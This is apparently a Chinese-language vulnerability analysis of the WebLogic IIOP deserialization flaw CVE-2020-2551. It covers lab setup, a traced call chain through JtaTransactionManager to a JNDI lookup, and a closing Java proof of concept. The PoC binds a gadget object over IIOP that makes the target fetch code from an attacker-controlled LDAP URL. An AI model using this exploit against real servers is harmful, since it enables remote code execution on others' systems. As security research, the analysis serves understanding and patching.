搭建
- jdk 8u151
- weblogic 12.1.4.0
- 通过此项目直接生成 docker 并启动,同时根据项目说明添加 Remote 方便进行 debug
- 进入 docker 拷贝出以下文件并添加至 poc 项目 Libraries
- modules/com.bea.core.repackaged.springframework.spring.jar
- server/lib/wlfullclient.jar
注意:wlfullclient.jar在12.1.3版本后被移除,点此查看具体信息,但可以通过以下命令生成
cd WL_HOME/server/lib
java -jar wljarbuilder.jar
分析
IIOP 协议看的头疼,只好按流程说一下
每个 IIOP 数据包都会进入weblogic.iiop.ConnectionManager#dispatch
进行解析,长度end
对应数据对应原始包中数据
直到收到 bind_any 的数据包(这里 wireshark 标记数据有些问题)
之后weblogic.rmi.internal.wls.WLSExecuteRequest#run
进入weblogic.rmi.internal.BasicServerRef#handleRequest
解析请求数据,如果userIdentity、action均不为null(均不用在意),会依次进入
weblogic.rmi.cluster.ClusterableServerRef#invoke
weblogic.corba.idl.CorbaServerRef#invoke
如果method不为objectMedthods之一(定义在CorbaServerRef最底部),则会进入this.delegate._invoke
即weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke
通过判断 method 进入对应流程 case,这里进入 case 0
这里通过WNameHelper.read(InputStream istream)
读取配置并进行注册,在读取long型数据时会进行4 bytes 对齐
红色部分为注册个数,黑色部分为对齐忽略部分,橘色为 key,绿色为 value,分别对应id
和kind
然后关注$result
是如何产生的,先后跟入
weblogic.iiop.IIOPInputStream#read_any
weblogic.corba.idl.AnyImpl#read_value
首先通过读取类型为1d
后,将输入流进行解析
之后进入通过设置 type 进入weblogic.corba.idl.AnyImpl#read_value
之后跟入weblogic.corba.idl.AnyImpl#read_value_internal
,这里会根据 type 类型(29)尝试获取数据
这里会进入weblogic.iiop.IIOPInputStream#read_value()
,看到序列化的标志
首先会读取 valueTag,(这里出现的getIndirectionValue
不知道能不能利用,下来看看),通过查找是否已经有过对应 codebase 避免重复获取,如若没有则会通过之后的数据获取RMI注册表信息
对应位置如下,黄绿色为 valueTag,蓝色RMI注册数据长度,绿色为RMI注册内容(之后属性值解析也类似)
由于满足ObjectStreamClass.supportsUnsafeSerialization() == true
,进入下面的处理逻辑:
首先通过反射获取实例对象
之后进入weblogic.iiop.ValueHandlerImpl#readValue
,通过深度遍历将其字段全部读取出来放入indirectionMap
内实现完整序列化
在读取属性值时,跟入到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
在这里先通过java.io.ObjectInputStream#defaultReadObject
会读取属性值到JtaTransactionManager
中,同时生成一个 JndiTemplate 实例
跟入initUserTransactionAndTransactionManager
,当userTransaction为空时,会通过从提供的userTransactionName中进行读取
一路跟到com.bea.core.repackaged.springframework.jndi.JndiTemplate#execute
,剩下就是 JNDI的内容了
POC
- JtaTransactionManager是spring爆出的一个可以JNDI注入的类,在weblogic中也存在
- weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.util.Gadgets;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Remote;
import java.util.Hashtable;
public class cve_2020_2551 {
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; // target host
String port = "7001"; // target port
String url = "ldap://192.168.31.96:1099/exp2"; // rmi/ldap url
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(url);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("pwned", remote);
}
}